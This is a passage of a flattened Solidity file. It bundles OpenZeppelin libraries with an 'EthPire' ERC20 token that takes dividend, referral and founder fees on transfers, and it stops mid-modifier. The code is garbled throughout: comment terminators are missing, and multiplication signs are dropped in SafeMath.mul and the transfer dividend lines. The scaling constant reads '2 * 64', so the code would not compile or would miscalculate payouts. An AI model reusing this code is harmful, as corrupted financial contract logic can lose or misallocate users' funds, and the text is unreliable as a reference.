// File: node_modules\@openzeppelin\contracts\utils\EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\access\AccessControl.sol /* * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. / abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /* * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ / event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /* * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. / event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) / event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /* * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. / function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /* * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. / function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. / function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== / function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /* * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. / function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin\contracts\math\SafeMath.sol /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Pausable.sol /* * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. / contract Pausable is Context { /* * @dev Emitted when the pause is triggered by `account`. / event Paused(address account); /* * @dev Emitted when the pause is lifted by `account`. / event Unpaused(address account); bool private _paused; /* * @dev Initializes the contract in unpaused state. / constructor () internal { _paused = false; } /* * @dev Returns true if the contract is paused, and false otherwise. / function paused() public view returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. / modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /* * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. / modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /* * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. / function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /* * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. / function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts\EthPire.sol contract EthPire is Context, AccessControl, Pausable, IERC20 { using EnumerableSet for EnumerableSet.AddressSet; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) internal referralBalance_; mapping (address => int256) internal payoutsTo_; mapping (address => uint256) internal ambassadorAccumulatedQuota_; uint256 private _totalSupply = 0; uint256 internal profitPerShare_; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant AMBASSADOR_ROLE = keccak256("AMBASSADOR_ROLE"); address payable public constant NULL_ADDRESS = 0x0000000000000000000000000000000000000000; uint256 constant internal dividendFee_ = 15; uint256 constant internal referralFee_ = 3; uint256 constant internal founderFee_ = 3; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 * 64; // proof of stake (defaults at 1 token) uint256 public stakingRequirement = 1e18; // ambassador program uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 1 ether; EnumerableSet.AddressSet internal _founderAccounts; bool public onlyAmbassadors = false; constructor(string memory name, string memory symbol) public payable { _name = name; _symbol = symbol; _decimals = 18; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); _setupRole(AMBASSADOR_ROLE, msg.sender); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /* * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. / function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /* * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal { require(!paused(), "ERC20Pausable: token transfer while paused"); } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!onlyAmbassadors && amount <= _balances[sender]); _beforeTokenTransfer(sender, recipient, amount); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); uint256 _tokenFee = SafeMath.div(SafeMath.mul(amount, dividendFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(amount, founderFee_), 100); uint256 _taxedTokens = SafeMath.sub(amount, _tokenFee); uint256 _dividends = tokensToEthereum_(SafeMath.sub(_tokenFee, _founderBonus)); // burn the fee tokens _totalSupply = SafeMath.sub(_totalSupply, _tokenFee); // exchange tokens _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(_taxedTokens); // update dividend trackers payoutsTo_[sender] -= (int256) (profitPerShare_ amount); payoutsTo_[recipient] += (int256) (profitPerShare_ * _taxedTokens); payoutToFounders(tokensToEthereum_(_founderBonus)); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / _totalSupply); // fire event emit Transfer(sender, recipient, _taxedTokens); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, msg.sender), "EthPire: must have minter role to mint"); _mint(to, amount); } function pause() public virtual { require(hasRole(PAUSER_ROLE, msg.sender), "EthPire: must have pauser role to pause"); _pause(); } function unpause() public virtual { require(hasRole(PAUSER_ROLE, msg.sender), "EthPire: must have pauser role to unpause"); _unpause(); } function addFounder(address account) public returns(bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have admin role to add founder"); return _founderAccounts.add(account); } function removeFounder(address account) public returns(bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have admin role to remove founder"); return _founderAccounts.remove(account); } /================================= = MODIFIERS = =================================/ // only people with tokens modifier onlybelievers () { require(myTokens() > 0); _; } // only people with profits modifier onlyholder() { require(myDividends(true) > 0); _; } modifier antiEarlyWhale(uint256 _amountOfEthereum){ if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? hasRole(AMBASSADOR_ROLE, msg.sender) && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[msg.sender] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[msg.sender] = 